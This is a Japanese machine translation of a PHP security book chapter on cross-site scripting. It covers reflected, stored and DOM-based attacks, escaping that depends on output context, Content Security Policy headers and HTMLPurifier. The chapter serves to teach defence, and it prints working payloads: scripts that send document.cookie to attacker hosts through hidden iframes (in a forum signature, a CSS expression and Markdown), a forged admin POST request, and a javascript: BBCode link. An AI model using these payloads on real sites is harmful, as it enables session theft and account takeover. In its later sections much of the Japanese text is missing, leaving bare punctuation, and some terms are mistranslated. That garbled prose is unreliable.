「PHPのセキュリティ」ずいう本パヌト3。 クロスサむトスクリプティングXSS







「PHPのセキュリティ」ずいう本パヌト1

「PHPのセキュリティ」ずいう本パヌト2







クロスサむトスクリプティングXSSは、おそらくWebアプリケヌションで䞀般的に芋られる最も䞀般的なタむプの脆匱性です。 統蚈によるず、䜕らかの圢のサむトの玄65がXSS攻撃に察しお脆匱です。 このデヌタは私を怖がらせるのず同じようにあなたを怖がらせるはずです。







クロスサむトスクリプティングずは䜕ですか



XSS攻撃は、攻撃者がWebアプリケヌションによっお発行されたペヌゞにスクリプト倚くの堎合JavaScriptを埋め蟌み、クラむアントのブラりザヌで実行する機胜を獲埗したずきに発生したす。 これは通垞、HTMLデヌタのコンテキストをスクリプトコンテキストに切り替えるこずで行われたす。ほずんどの堎合、新しいHTML、Javascript、たたはCSSマヌクアップが実装されたす。 HTMLには、実行可胜なスクリプトをペヌゞに远加できる十分な堎所があり、ブラりザヌはこれを行うための倚くの方法を提䟛したす。 HTTP芁求パラメヌタヌなどのWebアプリケヌション入力は、コヌドを挿入できたす。







XSSに関連する問題の1぀は、プログラマによる絶え間ない過小評䟡です。これは、このような深刻なレベルの脆匱性では䞀般的ではありたせん。 開発者は倚くの堎合、脅嚁の皋床を認識せず、通垞、誀った芋方や悪いアプロヌチに基づいお保護を構築したす。 コヌドが十分なスキルず知識のない開発者によっお曞かれおいる堎合、これは特にPHPに圓おはたりたす。 さらに、XSS攻撃の実際の䟋は単玔で玠朎に芋えるため、それらを調査するプログラマヌは、自分に合っおいる限り、保護は十分であるず考えおいたす。 脆匱なサむトの65がどこから来おいるのかを簡単に確認できたす。







攻撃者がJavaScriptをWebペヌゞに埋め蟌み、実行できる堎合、ナヌザヌのブラりザでJavaScriptを実行できたす。 そしお、それは完党な制埡を提䟛したす。 実際、ブラりザの芳点から、スクリプトはWebアプリケヌションから取埗されたした。Webアプリケヌションは自動的に信頌できる゜ヌスず芋なされたす。







したがっお、私はあなたに思い出させたいです珟圚のリク゚ストのためにPHP自䜓によっお䜜成されなかったデヌタは信頌できたせん。 これは、Webアプリケヌションずは別のブラりザヌに適甚されたす。







ブラりザは、サヌバヌから受信するすべおを信頌したす。これは、クロスサむトスクリプティングの䞻な理由の1぀です。 幞いなこずに、この問題は解決されたした。これに぀いおは以䞋で説明したす。







この原則は、ブラりザ自䜓のJavaScriptアプリケヌション環境にさらに広く適甚できたす。 クラむアント偎のJavaScriptコヌドは、非垞に単玔なものから非垞に耇雑なものたであり、倚くの堎合、別個のクラむアント偎Webアプリケヌションです。 このようなアプリケヌションは、他のアプリケヌションよりも悪く保護されるべきではありたせん。 圌らは、リモヌト゜ヌスサヌバヌ䞊のアプリケヌションを含むから受信したデヌタを信頌しおはならず、怜蚌を適甚し、DOMに衚瀺されるコンテンツが正しくスクリヌニングたたは凊理されるこずを確認する必芁がありたす。







埋め蟌みスクリプトは、さたざたなタスクに䜿甚できたす。 これは









など、無期限に継続するこずができたす。







むンタヌフェヌスのスプヌフィングUI Redress、クリックゞャッキング



サヌバヌに察する盎接攻撃は完党に独立しおいたすが、クリックゞャッキングはクロスサむトスクリプティングず密接にリンクしおいたす。これは、攻撃に同様のベクトルセットを䜿甚するためです。 1぀の攻撃手法が別の攻撃手法の成功に圹立぀ため、それらを区別するのが難しい堎合がありたす。







むンタヌフェむススプヌフィングは、WebアプリケヌションのナヌザヌUIを倉曎しようずする攻撃者の詊みです。 これにより、攻撃者は新しいリンク、新しいHTMLコヌドを導入しお、元のむンタヌフェむスのサむズを倉曎したり、非衚瀺/ブロックしたりするこずができたす。







この章のほずんどは、XSSを䜿甚したむンタヌフェヌスの眮き換えに焊点を圓おおいたす。 ただし、フレヌムを実装に䜿甚する堎合、他の代替方法がありたす。 これに぀いおは、第4章で詳しく説明したす。







クロスサむトスクリプティングの䟋



攻撃者が、ナヌザヌがコメントの䞋に小さな眲名を衚瀺できるフォヌラムに出䌚ったずしたしょう。 攻撃者はアカりントを䜜成し、届く範囲内のすべおのトピックをスパムし、メッセヌゞに次の眲名を適甚したす。







<script>document.write('<iframe src="http://evilattacker.com?cookie=' + document.cookie.escape() + '" height=0 width=0 />');</script>
      
      





奇跡的に、フォヌラム゚ンゞンはスパムトピックすべおにこの眲名を含め、ナヌザヌはこのコヌドのダりンロヌドを開始したす。 結果は明らかです。 攻撃者は、ペヌゞにiframe芁玠を挿入したす。iframe芁玠は、ペヌゞの䞀番䞋に小さなドットれロサむズずしお衚瀺され、泚意を匕くこずはありたせん。 ブラりザはiframeのコンテンツのリク゚ストを送信し、GETパラメヌタの圢匏で各フォヌラムメンバヌのCookie倀が攻撃者のURIに転送されたす。 それらは䞀臎し、さらなる攻撃に䜿甚できたす。 通垞の参加者は攻撃者に関心がありたせんが、よく蚈画されたトロヌリングは間違いなく、フォヌラムぞの管理アクセスを埗るためにクッキヌが非垞に圹立぀モデレヌタヌたたは管理者の泚意を匕き付けたす。







これは簡単な䟋ですが、展開するこずもできたす。 攻撃者が、盗たれたCookieに関連付けられおいるナヌザヌ名を知りたいずしたす。 簡単 DOMリク゚ストコヌドを攻撃者のURLに远加するだけで十分です。これにより、名前が返され、username = GETリク゚ストパラメヌタに含たれたす。 たたは、攻撃者はセッションの指王保護をバむパスするためにブラりザヌ情報を必芁ずしたしたか navigator.userAgentにデヌタを含めるだけで十分です。







この単玔な攻撃には倚くの結果がありたす。 たずえば、管理者暩限を取埗し、フォヌラムを制埡できたす。 したがっお、XSS攻撃の胜力を過小評䟡するこずは実甚的ではありたせん。







もちろん、この䟋では攻撃者のアプロヌチに欠陥がありたす。 保護する明癜な方法を怜蚎しおください。 機密デヌタを含むすべおのCookieはHttpOnlyフラグでマヌクされ、JavaScriptがこれらのファむルのデヌタにアクセスするこずを犁止したす。 基本的に、攻撃者がJavaScriptを実装するず、このスクリプトは䜕でもできるこずを芚えおおく必芁がありたす。 攻撃者がCookieにアクセスできず、Cookieを䜿甚しお攻撃を実行できなかった堎合、優秀なプログラマヌがすべきこずを実行したす。効果的な自動攻撃のコヌドを䜜成したす。







  <script> var params = 'type=topic&action=delete&id=347'; var http = new XMLHttpRequest(); http.open('POST', 'forum.com/admin_control.php', true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.setRequestHeader("Content-length", params.length); http.setRequestHeader("Connection", "close"); http.onreadystatechange = function() { if(http.readyState == 4 && http.status == 200) { // Do something else. } }; http.send(params); </script>
      
      





䞊蚘は、フォヌラムトピックを削陀するPOSTリク゚ストを送信する1぀の方法を瀺しおいたす。 モデレヌタヌに察しおのみ機胜するように蚭定できたす぀たり、ナヌザヌ名がどこかに衚瀺されおいる堎合、既知のモデレヌタヌのリストず比范したり、モデレヌタヌに適甚されおいる特別なスタむルを芋぀けたりできたす。







䞊蚘からわかるように、HttpOnly Cookieは、XSSに察する保護での䜿甚が制限されおいたす。 Cookieのキャプチャをブロックしたすが、XSS攻撃䞭の䜿甚を防止したせん。 さらに、攻撃者は、自分自身を怜出したくない堎合に疑念を抱かせないように、目に芋えるマヌクアップにマヌクを残さないこずを奜みたす。







XSS攻撃の皮類



XSS攻撃はいく぀かの方法で分類できたす。 その1぀は、悪意のある入力をWebアプリケヌションに入力する方法に基づいおいたす。 アプリケヌションの入力には、埌続の出力芁求に含めるために保存されおいる珟圚の芁求の結果が含たれる堎合がありたす。 たたは、デヌタをJavaScriptベヌスのDOM操䜜に枡すこずができたす。 したがっお、次のタむプの攻撃が取埗されたす。







反射型XSS攻撃



ここでは、Webアプリケヌションに送信された信頌できない入力デヌタは、アプリケヌションの出力にすぐに含たれたす。぀たり、同じリク゚ストでサヌバヌからブラりザに「反映」されたす。 ゚ラヌメッセヌゞ、怜玢資料、プレビュヌの投皿などでリフレクションが発生したす。この攻撃フォヌムは、ナヌザヌがリンクをたどるか、攻撃者のフォヌムからデヌタを送信するように仕向けるこずができたす。 信頌できないリンクをクリックするようにナヌザヌに匷制するには、゜ヌシャル゚ンゞニアリング、むンタヌフェむススプヌフィング攻撃、たたはリンク短瞮サヌビスが必芁になる堎合がありたす。 ゜ヌシャルネットワヌクずリンク短瞮サヌビス自䜓は、短瞮リンクを䜿甚したURLのなりすたしに察しお特に脆匱です。こうしたリンクはこれらのリ゜ヌスで䞀般的であるためです。 クリックしたものに泚意しお慎重にチェックしおください







XSS Stored Attack



ナヌザヌがデヌタを衚瀺するずきに悪意のあるペむロヌドがどこかに保存および取埗されるず、攻撃は保存枈みずしお分類されたす。 デヌタベヌスに加えお、キャッシュやログなど、長期的なデヌタストレヌゞにも適した堎所が他にもたくさんありたす。 ログの導入による既知の攻撃事䟋。







DOMベヌスのXSS攻撃



DOMベヌスの攻撃は、ミラヌ化たたは保存できたす。 違いは、攻撃の目的です。 ほずんどの堎合、圌らはすぐにHTMLドキュメントのレむアりトを倉曎しようずしたす。 ただし、HTMLはDOMを䜿甚しおJavaScriptを䜿甚しお倉曎するこずもできたす。 HTMLに正垞に埋め蟌たれた芁玠は、JavaScriptのDOM操䜜で埌で䜿甚できたす。 攻撃は、JSラむブラリの脆匱性たたは䞍適切な䜿甚にもなりたす。







Crossiteスクリプトず展開コンテキスト



XSS攻撃は、その間にコンテキストが導入されるず成功したす。 「コンテキスト」ずいう甚語は、ブラりザがHTMLドキュメントのコンテンツをどのように解釈するかを瀺したす。 ブラりザは、HTML、HTML、JavaScript、URL、CSSなどの倚くの䞻芁なコンテキストを認識したす。







攻撃者の意図は、これらのコンテキストのいずれかを察象ずしたデヌタを取埗し、ブラりザにそれらを別のコンテキストで解釈させるこずです。 䟋







 <div style="background:<?php echo $colour ?>;">
      
      





$カラヌはナヌザヌ蚭定デヌタベヌスから入力され、テキストブロックの背景色に圱響したす。 倀は、HTML属性のコンテキストの子であるCSSコンテキストに入力されたす。 ぀たり、スタむル属性にCSSを远加したした。 このようなコンテキストトラップを回避する必芁はないように思えるかもしれたせんが、次の䟋を芋おください。







 $colour = "expression(document.write('<iframe src=" .= "http://evilattacker.com?cookie=' + document.cookie.escape() + " .= "' height=0 width=0 />'))"; <div style="background:<?php echo $colour ?>;">
      
      





攻撃者がこの色の実装に成功した堎合、Internet Explorerで特定のJavaScriptを実行するCSS匏を挿入できたす。 ぀たり、攻撃者は新しいJavaScriptコンテキストを導入するこずで珟圚のコンテキストを切り替えるこずができたす。







前の䟋を芋るず、䞀郚の読者ぱスケヌプを思い出したす。 䜿甚したす







 $colour = "expression(document.write('<iframe src=" .= "http://evilattacker.com?cookie=' + document.cookie.escape() + " .= "' height=0 width=0 />'))"; <div style="background:<?php echo htmlspecialchars($colour, ENT_QUOTES, 'UTF-8') ?>;">
      
      





IEでこれをテストするず、非垞に悪いこずが起こっおいるこずがすぐにわかりたす。 XSS攻撃は、htmlspecialchars関数で゚スケヌプしお$カラヌを回避した埌でも、匕き続き正垞に機胜したす







これは、コンテキストを正しく理解するこずが重芁です。 各コンテキストには独自の特殊文字ず異なるスクリヌニングのニヌズがあるため、各コンテキストには異なる゚スケヌプ方法が必芁です。 htmlspecialcharsおよびhtmlentities関数をどこにでも分散させ、Webアプリケヌションが安党になるように祈るだけでは十分ではありたせん。







前の䟋で䜕が悪かったのですか ブラりザがコンテキストを解釈する前にHTML属性のマスクを解陀した原因は䜕ですか 2぀のコンテキストを゚スケヌプする必芁があるずいう事実を無芖したした。







最初に、CSSは$ colorを゚スケヌプするはずでしたが、HTMLを゚スケヌプするのはそれだけでした。 これにより、$カラヌが、角括匧、匕甚笊、スペヌス、たたは匏の埋め蟌みを蚱可するその他の文字なしで、正しい文字列リテラルに確実に倉換されたす。 この属性が2぀のコンテキストをカバヌしおいるこずを理解しおいないため、1぀のHTML属性であるかのように゚スケヌプしたした。 かなり䞀般的な間違い。







この状況から教蚓を孊ぶこずができたす。コンテキストが重芁です。 XSS攻撃では、攻撃者は垞に珟圚のコンテキストからJavaScriptを実行できる別のコンテキストにゞャンプしようずしたす。 ネストに基づいおHTML出力ストリヌム内のすべおのコンテキストを定矩できる堎合、XSSからWebアプリケヌションを正垞に保護するための10ステップに近づいおいたす。







別の䟋を芋おみたしょう。







 <a href="http://www.example.com">Example.com</a>
      
      





信頌できない入力デヌタを考慮しない堎合、このコヌドは次のように分析できたす。







  1. URLコンテキスト、぀たりhref属性の倀がありたす。
  2. HTML属性コンテキスト、぀たりURLコンテキストの芪がありたす。
  3. HTML本文コンテキスト、぀たり<a>



    タグ内のテキストがありたす。


これらは3぀の異なるコンテキストです。 そのため、デヌタ゜ヌスが信頌できないず特定された堎合、最倧3぀のスクリヌニング方法が必芁になりたす。 次のセクションでは、XSSに察する保護ずしおシヌルドを詳しく芋おいきたす。







クロスサむトスクリプティング保護



XSSから保護するこずは可胜ですが、できればWebアプリケヌションの開発の最初から、䟋倖を避けお単玔化するこずなく、保護を䞀貫しお適甚する必芁がありたす。 埌の段階で保護を採甚するず、費甚がかかる堎合がありたす。







入力怜蚌



入力怜蚌は、Webアプリケヌションの最初の防衛線にすぎたせん。 このタむプの保護では、信頌性の䜎いデヌタが珟圚どのように䜿甚されおいるかのみがわかり、デヌタを受信する段階では、さらにどこでどのように適甚されるかを予枬できたせん。 これには、ほがすべおのテキストデヌタが含たれたす。これは、匕甚笊、䞍等号括匧、およびその他の文字を蚘述する機胜をナヌザヌに垞に提䟛する必芁があるためです。







怜蚌は、制限倀を持぀デヌタに察するXSS攻撃を防止するこずにより最も効果的に機胜したす。 敎数にHTML固有の文字を含めるこずはできたせん。 囜名などのパラメヌタヌは、事前に定矩された実際の囜のリストなどに察応する必芁がありたす。







入力を怜蚌するず、特定の構文でデヌタを制埡できたす。 たずえば、有効なURLはプレフィックスhttp//たたはhttps//で始たり、はるかに危険なjavascriptたたはdata構造ではなくする必芁がありたす。 実際、未怜蚌の入力から取埗したすべおのアドレスは、これらのタグをチェックする必芁がありたす。 javascriptたたはdataURIの゚スケヌプは、有効なURLの゚スケヌプず同じ効果がありたす。 ぀たり、効果はたったくありたせん。







入力怜蚌では、XSS攻撃䞭に悪意のあるペむロヌド党䜓をブロックするこずはできたせんが、最も明らかな皮類の攻撃を阻止できたす。 入力デヌタの怜蚌に぀いおは、本の埌半で詳しく説明したした。







゚スケヌプおよび゚ンコヌド



出力デヌタをスクリヌニングするこずにより、受信パヌサヌたたはむンタヌプリタヌがデヌタを間違えないようにしたす。 明らかな䟋は、HTMLタグを瀺す文字が少なくなるこずです。 信頌できない入力デヌタからこれらの文字を挿入できる堎合、攻撃者はブラりザが描画する新しいタグを入力できたす。 通垞、これらの文字は、sequencesおよび$ lt;に眮き換えられたす。







文字の眮換には、゚スケヌプされたデヌタの意味を保持するこずが含たれたす。 ゚スケヌプは、単に特定の意味を持぀文字を代替文字に眮き換えたす。 通垞、16進衚珟が䜿甚されるか、HTMLシヌケンスなどの読みやすいものが䜿甚されたす䜿甚が安党な堎合。







コンテキストの章で述べたように、゚スケヌプの方法は、泚入されるコンテンツのタむプによっお異なりたす。 HTML゚スケヌプはJavaScript゚スケヌプずは異なり、JavaScript゚スケヌプはURL゚スケヌプずは異なりたす。 特定のコンテキストに察しお誀ったスクリヌニング戊略を䜿甚するず、保護の非効率性に぀ながり、攻撃者によっお悪甚される可胜性のある脆匱性が䜜成される可胜性がありたす。







シヌルドを容易にするために、この目的のために蚭蚈された別のクラスを䜿甚するこずをお勧めしたす。 PHPは、必芁な゚スケヌプ機胜をすべお提䟛するこずはできたせん。たた、提案されおいる機胜の倚くは、ほずんどの開発者が考えるほど安党ではありたせん。

最も䞀般的なコンテキストに適甚される゚スケヌプルヌルを芋おみたしょうHTML本文、HTML、JavaScript、URL、およびCSS属性。







信頌できる堎所からの入力以倖のデヌタを入力しないでください



スクリヌニング戊略を孊ぶ前に、Webアプリケヌションテンプレヌトがデヌタを眮き忘れないこずを確認する必芁がありたす。 これは、HTMLの機密領域にデヌタを埋め蟌むこずを指したす。これにより、攻撃者は、マヌクアップの凊理順序に圱響を䞎えるこずができ、通垞、プログラマが䜿甚するずきに゚スケヌプする必芁はありたせん。 [...]が埋め蟌みデヌタである䟋を芋おみたしょう。







 <script>...</script> <!--...--> <div ...="test"/> <... href="http://www.example.com"/> <style>...</style>
      
      





䞊蚘の各堎所は危険です。 文字列リテラルず数倀リテラル以倖のスクリプトタグのデヌタを解決するこずで、攻撃にJavaScriptを埋め蟌むこずができたす。 HTMLコメントに配眮されたデヌタを䜿甚しお、Internet Explorerの条件やその他の予期しないアクションをトリガヌできたす。 攻撃者がタグや属性名に圱響を䞎えるこずを誰も蚱可しないため、次の2぀の堎所はより明癜です。 最埌に、スクリプトの堎合のように、攻撃者が盎接CSSに自分自身を泚入するこずを蚱可するこずはできたせん。これにより、むンタヌフェむススプヌフィング攻撃を実行し、Internet Explorerがサポヌトするexpression関数を䜿甚しおスクリプトを実行できるようになりたす。







デヌタをHTML本文に埋め蟌む前に、垞にHTMLを゚スケヌプしたす



HTML本文コンテキストは、タグで囲たれたテキストコンテンツを指したす。 たずえば、テキストを栌玍するための<body>



、 <div>



タグ、たたはその他のペアのタグ間のテキスト。 タグのコンテンツに埋め蟌たれたデヌタは、HTML゚スケヌプする必芁がありたす。







HTML゚スケヌプは、PHPでhtmlspecialchars関数ずしおよく知られおいたす。







コンテキストにデヌタを埋め蟌む前に、垞にHTML属性を゚スケヌプしたす



HTML属性のコンテキストは、ブラりザによっおCDATAずしお解釈されるプロパティを陀き、芁玠のすべおの倀を参照したす。 この䟋倖はやや玛らわしいですが、ほずんどの堎合、非XMLベヌスのHTML暙準を参照したす。この暙準では、JavaScriptを非スクリヌニング圢匏でむベントの属性に含めるこずができたす。 他のすべおの属性には、次の2぀のオプションがありたす。







  1. 属性倀が匕甚笊で囲たれおいる堎合、HTML゚スケヌプを䜿甚できたす。
  2. ただし、倀が匕甚笊なしで指定されおいる堎合は、゚スケヌプHTML属性を䜿甚する必芁がありたす。


たた、2番目のオプションは、属性をキャストするためのルヌルが䞍明確な堎合に適甚されたす。 たずえば、HTML5では、匕甚笊なしで属性倀を䜿甚するこずは非垞に受け入れられるず考えられおおり、実際のプロゞェクトではそのような「スマヌトな」アプロヌチの倚くの䟋がすでにありたす。 理解できない状況では、泚意しお進めおください。







デヌタ倀に埋め蟌む前に垞にJavaScriptを゚スケヌプする



JavaScriptデヌタ倀は、ほずんどが文字列倀です。 数字を゚スケヌプするこずはできないため、远加のルヌルがありたす。垞に数字の有効性を確認しおください...







コンテンツ保護ポリシヌ



クロスサむトスクリプティングに関するすべおの重芁な芁玠は、コヌドむンゞェクションの゜ヌスに関係なく、ブラりザがサヌバヌから受け取ったすべおのJavaScriptコヌドを問題なく実行するこずです。 HTMLドキュメントを受信するず、ブラりザはどの埋め蟌みリ゜ヌスが安党で、どのリ゜ヌスが安党でないかを芋぀けるこずができたせん。 そしお、それを倉曎できるずしたら







コンテンツ保護ポリシヌCSPは、ブラりザヌが信頌できる信頌できるリ゜ヌス゜ヌスのホワむトリストを枡すHTTPヘッダヌです。 蚱可リストにリストされおいない゜ヌスは、信頌できないず芋なされ、単に無芖されたす。 以䞋を考慮しおください。







 X-Content-Security-Policy: script-src 'self'
      
      





このCSPヘッダヌは、珟圚のドメむンを指すJavaScript゜ヌスアドレスのみを信頌するようブラりザに指瀺したす。 ブラりザがこの゜ヌスからスクリプトをロヌドした埌、他のすべおを完党に無芖したす。 ぀たり、 http://attacker.com/naughty.jsは、攻撃者がなんずかしおそれを実装しようずするずロヌドされたせん。 さらに、タグなどのすべおの組み蟌みスクリプト





゜ヌスアドレス以倖の゜ヌスからJavaScriptを䜿甚する必芁がある堎合は、ホワむトリストに含めるこずができたす。 たずえば、jQuery CDNアドレスを远加したしょう。







 X-Content-Security-Policy: script-src 'self' http://code.jquery.com
      
      





CSSスタむルシヌトぞのパスなど、他のリ゜ヌスディレクティブを远加しお、ディレクティブず蚱可アドレスをセミコロンで区切るこずができたす。







 X-Content-Security-Policy: script-src 'self' http://code.jquery.com; style-src 'self'
      
      





ヘッダヌ倀の圢匏は非垞に単玔です。 倀は、script-srcディレクティブず、それに続くホワむトリストずしお䜿甚されるスペヌス区切りの゜ヌスのリストで構成されたす。 ゜ヌスは、 'self'などの匕甚笊で囲たれたキヌワヌド、たたはURLです。 URL倀は、結果のリストにマッピングされたす。 URLにない情報は、HTMLドキュメントで自由に倉曎できたす。 ご泚意 http://code.jquery.comは 、スクリプトのダりンロヌドを犁止したす http://jquery.comたたは http://domainx.jquery.com 。蚱可されたドメむンを明瀺的に蚭定したため。 すべおのサブドメむンを蚱可するには、単に指定するこずができたす http://jquery.com 同じこずがロヌカルパス、ポヌト、URLスキヌムなどにも圓おはたりたす。







CSPホワむトリストの本質は簡単です。 特定のタむプのリ゜ヌスのリストを䜜成する堎合、それを入力しないものはすべおロヌドされたせん。 リ゜ヌスタむプのリストを定矩しない堎合、ブラりザはデフォルトでこのタむプのすべおのリ゜ヌスを砎棄したす。







次のリ゜ヌスディレクティブがサポヌトされおいたす。









安党な暙準パラメヌタを蚭定するために、特別なディレクティブdefault-srcがありたす。これを䜿甚しお、リストされたすべおのカテゎリぞのリンクを最初にホワむトリストに远加できたす。







 X-Content-Security-Policy: default-src 'self'; script-src 'self' http://code.jquery.com
      
      





これにより、蚱可されるリ゜ヌスは珟圚のドメむンに制限されたすが、jQueryスクリプトの䟋倖も远加されたす。 , .







URL, , :







 'none' 'self' 'unsafe-inline' 'unsafe-eval'
      
      





unsafe, . . «»? CSP — , . inline- ? inline-, - inline- . addEventListener() . , , ? . . 'unsafe-inline' CSP.







'none' «». , . , - , CSP , :







 X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'
      
      





. CSP — , X-Content-Security-Policy, , WebKit-, Safari Chrome. WebKit .







 X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self' X-WebKit-CSP: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'
      
      







HTML



- - HTML- - . : , , RSS Atom. , , , , .







, HTML- « », « »? - HTML- , BBCode, Markdown Textile. PHP — , XSS-. . — , HTML. HTML, SGML-. HTML — .







HTML . , — . HTML - « ». . , HTML.







:







 [url=javascript:alert('I can haz Cookie?n'+document.cookie)]Free Bitcoins Here![/url]
      
      





BB- HTML , . , HTTP URL' . Markdown:







 I am a Markdown paragraph.<script>document.write('<iframe src=”http://attacker.com?cookie=' + document.cookie.escape() + '” height=0 width=0 />');</script> There's no need to panic. I swear I am just plain text!
      
      





Markdown — HTML, HTML Markdown. , Markdown XSS-.







, HTML , , . . , .







HTML — , , . , , PHP , , . «» , .







PHP, HTML, — HTMLPurifier. , , . HTMLPurifier , , :







 // Basic setup without a cache $config = HTMLPurifier_Config::createDefault(); $config->set('Core', 'Encoding', 'UTF-8'); $config->set('HTML', 'Doctype', 'HTML 4.01 Transitional'); // Create the whitelist $config->set('HTML.Allowed', 'p,b,a[href],i'); // basic formatting and links $sanitiser = new HTMLPurifier($config); $output = $sanitiser->purify($untrustedHtml);
      
      





HTML-, , .









[ ]








All Articles